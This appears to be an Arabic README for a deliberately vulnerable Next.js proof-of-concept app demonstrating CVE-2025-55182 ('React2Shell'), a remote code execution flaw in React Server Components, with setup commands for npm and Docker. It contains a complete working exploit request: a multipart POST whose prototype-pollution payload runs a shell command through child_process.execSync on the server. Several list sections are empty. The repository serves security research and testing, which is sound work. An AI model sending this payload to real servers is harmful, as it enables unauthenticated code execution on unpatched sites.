
تطبيق إثبات المفهوم يوضح ثغرة CVE-2025-55182 (React2Shell) RCE في مكونات خادم React. للاستخدام في البحث الأمني والاختبار التعليمي فقط في بيئات معزولة.
هذا تطبيق Next.js إثبات لمفهوم معرض لثغرة CVE-2025-55182 (المعروفة أيضًا باسم "React2Shell")، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React.
هذا التطبيق معرض عمدًا ويجب استخدامه فقط من أجل:
لا تفعل:
تؤثر CVE-2025-55182 على:
تنشأ الثغرة من إلغاء التسلسل غير الآمن في معالجة حمولة مكونات خادم React، مما يسمح للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الخادم عبر طلبات HTTP مصممة خصيصًا.
تثبيت التبعيات:
npm install
تشغيل خادم التطوير:
npm run dev
الوصول إلى التطبيق: افتح http://localhost:3000 في متصفحك.
بناء صورة Docker:
docker build -t nextjs-cve-2025-55182 .
تشغيل الحاوية:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
الوصول إلى التطبيق: افتح http://localhost:3000 في متصفحك.
/): نموذج تسجيل دخول بسيط باستخدام مكونات خادم React/dashboard): صفحة محمية يمكن الوصول إليها بعد تسجيل الدخوليستخدم هذا التطبيق:
توجد الثغرة في آلية إلغاء تسلسل حمولة RSC، والتي يمكن استغلالها عن طريق إرسال طلبات HTTP متعددة الأجزاء ضارة مباشرة إلى مسارات الصفحات (مثل http://localhost:3000 أو http://localhost:3000/dashboard). يعمل الاستغلال على أي صفحة تستخدم مكونات خادم React.
يمكن استغلال الثغرة عن طريق إرسال طلبات HTTP مصممة خصيصًا مباشرة إلى مسارات الصفحات (مثل http://localhost:3000 أو http://localhost:3000/dashboard). يعمل الاستغلال على أي صفحة تستخدم مكونات خادم React.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
يستهدف الاستغلال مسارات الصفحات مباشرة - يعمل على localhost:3000 (الصفحة الرئيسية) أو localhost:3000/dashboard (صفحة لوحة التحكم).
لإصلاح هذه الثغرة:
يتم توفير إثبات المفهوم هذا للأغراض التعليمية والبحث الأمني فقط.